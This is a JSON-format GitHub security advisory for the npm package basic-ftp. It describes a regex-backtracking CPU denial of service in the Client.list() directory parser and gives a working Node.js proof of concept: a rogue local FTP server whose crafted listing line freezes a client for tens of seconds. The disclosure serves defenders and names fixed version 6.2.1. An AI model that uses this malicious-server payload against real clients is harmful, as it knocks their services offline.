{"id":"GHSA-c475-qrg2-pj4r","summary":"basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)","details":"## Summary\n\n`Client.list()` parses the server's directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\\S+(?:\\s\\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.\n\nThe server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.\n\n## Proof of concept\n\n`npm i basic-ftp && node repro.js`:\n\n```js\nconst net = require(\"net\"), ftp = require(\"basic-ftp\");\nconst KB = Number(process.env.LINE_KB || 128);\nconst payload = \"-rw-r--r-- 1 \" + \"a \".repeat((KB * 1024 - 13) / 2) + \"!\";\nconst listing = payload + \"\\r\\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\\r\\n\";\nconst server = net.createServer(c =\u003e {\n  c.setEncoding(\"latin1\"); c.write(\"220 ok\\r\\n\"); let buf = \"\";\n  c.on(\"data\", d =\u003e { buf += d; let i;\n    while ((i = buf.indexOf(\"\\r\\n\")) !== -1) {\n      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);\n      if (cmd.startsWith(\"USER\")) c.write(\"331 .\\r\\n\");\n      else if (cmd.startsWith(\"PASS\")) c.write(\"230 .\\r\\n\");\n      else if (cmd.startsWith(\"FEAT\")) c.write(\"211-x\\r\\n UTF8\\r\\n211 End\\r\\n\");\n      else if (cmd.startsWith(\"EPSV\")) { const ds = net.createServer(s =\u003e { s.write(listing); s.end(); });\n        ds.listen(0, \"127.0.0.1\", () =\u003e c.write(`229 (|||${ds.address().port}|)\\r\\n`)); }\n      else if (cmd.startsWith(\"LIST\")) { c.write(\"150 .\\r\\n\"); setTimeout(() =\u003e c.write(\"226 .\\r\\n\"), 50); }\n      else c.write(\"200 .\\r\\n\"); } });\n});\nserver.listen(0, \"127.0.0.1\", async () =\u003e {\n  const client = new ftp.Client(0);\n  await client.access({ host: \"127.0.0.1\", port: server.address().port, user: \"x\", password: \"y\" });\n  let beats = 0; const hb = setInterval(() =\u003e beats++, 1000); const t = Date.now();\n  await client.list(); clearInterval(hb);\n  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);\n  process.exit(0);\n});\n```\n\nPrints `list() blocked 39.75s; heartbeats fired: 0`, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. `maxListingBytes` defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.\n\n## Impact\n\nOne directory listing freezes the whole process, under default options, through the primary API. This is the same \"malicious FTP server causes client-side denial of service\" shape as GHSA-rp42-5vxx-qpwr, also in `Client.list()` and rated high. The byte cap added there bounds memory, not the parser's CPU cost.","aliases":["CVE-2026-102990"],"modified":"2026-10-01T15:00:04.517943812Z","published":"2026-10-01T14:42:42Z","database_specific":{"nvd_published_at":"2026-09-30T20:17:26Z","cwe_ids":["CWE-1333"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-01T14:42:42Z"},"references":[{"type":"WEB","url":"https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-c475-qrg2-pj4r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102990"},{"type":"WEB","url":"https://github.com/patrickjuchli/basic-ftp/commit/d0d9e07c56e519587bb50532ac6eadbb0cb0cfe9"},{"type":"PACKAGE","url":"https://github.com/patrickjuchli/basic-ftp"},{"type":"WEB","url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.1"}],"affected":[{"package":{"name":"basic-ftp","ecosystem":"npm","purl":"pkg:npm/basic-ftp"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.2.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 6.2.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c475-qrg2-pj4r/GHSA-c475-qrg2-pj4r.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}